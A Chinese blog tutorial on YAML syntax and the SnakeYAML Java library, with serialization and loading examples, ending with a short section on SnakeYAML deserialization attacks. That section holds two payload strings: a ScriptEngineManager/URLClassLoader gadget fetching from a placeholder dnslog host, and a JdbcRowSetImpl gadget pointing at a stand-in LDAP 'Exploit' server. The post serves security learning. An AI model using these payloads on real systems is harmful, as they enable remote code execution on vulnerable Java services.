YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。
YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。
SnakeYAML是Java的YAML解析库
菜鸟教程 YAML入门
https://www.runoob.com/w3cnote/yaml-intro.html
YAML 对象键值对使用冒号结构表示 key: value,要求冒号之后必须有一个空格
a: &de
- b: 1
- c: a
b:
e: 2
<<: *de
-(空格)对象表示列表&alias打锚点,*alias引用锚点,<<插入到当前位置
<dependency>
<groupId>org.yamlgroupId>
<artifactId>snakeyamlartifactId>
<version>1.18version>
dependency>
传入对象进行dump
Yaml.dump(Object obj)
对于JavaBean的序列化:要保证有getter、setter和无参构造器
package demo;
import org.yaml.snakeyaml.Yaml;
public class Serial {
public static void main(String[] args) throws Exception{
Student student = new Student("Bob", "114514");
student.addScore("math", 99);
student.addScore("Chinese", 100);
Yaml yaml = new Yaml();
String str = yaml.dump(student);
System.out.println(str);
}
}
可以看到:YAML使用!!xxx标明类名

写一个demo解析
a: &de
- b: 1
- c: a
b:
e: 2
<<: *de
package demo;
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
import java.util.HashMap;
import java.util.Map;
public class BasicDemo {
public static void main(String[] args) throws Exception {
Yaml yaml = new Yaml();
Map map = (HashMap)yaml.load(new FileInputStream(new File("src//main/java/demo/test.yml")));
System.out.println(map.get("a"));
System.out.println(map.get("b"));
}
}

序列化一般使用以下方法,返回值一般是LinkedHashMap,里面的元素可以通过get或者迭代器取出来
Yaml.load(String yaml)
Yaml.load(InputStream io)
Yaml.loadAs(String yaml, Class<T> type)
Yaml.loadAll(Reader yaml)
对于有多个对象的yaml,使用loadAll会返回Iterable
---
a:
- b: 1
- c: a
---
a:
e: 2
package demo;
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class BasicDemo {
public static void main(String[] args) throws Exception {
Yaml yaml = new Yaml();
Iterable<Object> objects = yaml.loadAll(new FileInputStream(new File("src/main/java/demo/test.yml")));
for(Object obj: objects){
Map map = (HashMap) obj;
System.out.println(map.get("a"));
}
}
}

!!指定类名,反序列化即可
String str = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://xxxxxx.dnslog.cn\"]]]]\n"
https://github.com/artsploit/yaml-payload
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://xxx:1389/Exploit\"\n autoCommit: true";
https://xz.aliyun.com/t/10655
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126404374
版权声明:本文为原创,转载时须注明出处及本声明